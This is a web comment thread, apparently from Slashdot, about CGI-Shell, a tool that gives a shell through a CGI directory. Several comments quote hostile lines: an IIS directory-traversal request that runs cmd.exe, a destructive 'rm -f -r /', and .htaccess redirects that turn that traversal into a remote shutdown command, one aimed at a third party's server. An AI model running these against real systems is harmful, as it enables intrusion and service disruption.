Shell Simulation Via CGI

mischi writes "CGI-Shell simulates a shell using CGI. So everybody who has a CGI-directory on a web-server, also has its own shell on it -- comparable with Telnet or SSH. That's really practical, because most webhosters don't offer a shell (for free) -- but do offer CGI. With CGI-Shell you can execute commands, copy files or just explore your webserver. Even a history and auto-completion with tabulator are included. "

web brower

[Mordac]

I look forward to the first web brower implimented using this CGI Shell :)

WHEN WILL IT SIMULATE WINDOWS XP?

[Anonymous Coward]

So It actually does something useful? Im sick and tired of all you idiots who think a shell is better than a GUI.

Doesn't IIS Already Have This?

[Aix]

GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+ dir

Someone always seems to be trying to run shell commands on my Apache server. I wish they would realize that Apache doesn't have this "shell" feature.

Seriously, though, this is the most hideously insecure thing I have ever heard of.

Re:Shell whores.

[The Bungi]

what is the eggdrop bot

I'm no 1337 geek, but it sounds like breakfast to me. Maybe it has something to do with the Slashdot omelette [slashdot.org]?

Re:security?

[StressedEd]

So long as the web admins aren't idiots...
Heh heh he... Chortle chortle...... Evil cackle.

I expect this is a big "if".... ;-)

Re:Backdoors

[telecaster]

the first command through your web server:

% rm -f -r /

I'll pass...

Re:Doesn't IIS Already Have This?

[Gudlyf]

Put this in your .htaccess file and you might get lucky and give them a taste of their own medicine:

RedirectMatch permanent (.*)c+dir http://127.0.0.1/scripts/..%255c..%255cwinnt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201

Go figure...

[foxtrot]

Crackers've been getting shells via poorly written CGI for years, but now it's news?

Re:Stop whinging - this is a good thing

[geekoid]

thus proviong that cLive ;-) is a "Perl programmer with half a brain ". ;)

Re:How about a Java ssh/telnet applet?

[PunchMonkey]

Yeah, you sure wouldn't find it by googling java ssh [google.ca] or maybe by going to javassh.org [javassh.org].

I mean... that would just be too easy and too obvious.

Re:Doesn't IIS Already Have This?

[ebonkyre]

Our 404 generates a normal file not found message unless the requested page was "default.ida" or one of the other IIS exploits, in which case it sends:

Content-type: text/plain

Hi! How are you?
I send you this file in order to have your advice
See you later. Thanks

Sadly, I'm not aware of any virii that would actually get the joke...

Re:Doesn't IIS Already Have This?

[corvi42]

How's about this one:

RedirectMatch permanent (.*)c+dir http://www.microsoft.com/scripts/..%255c..%255cwin nt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201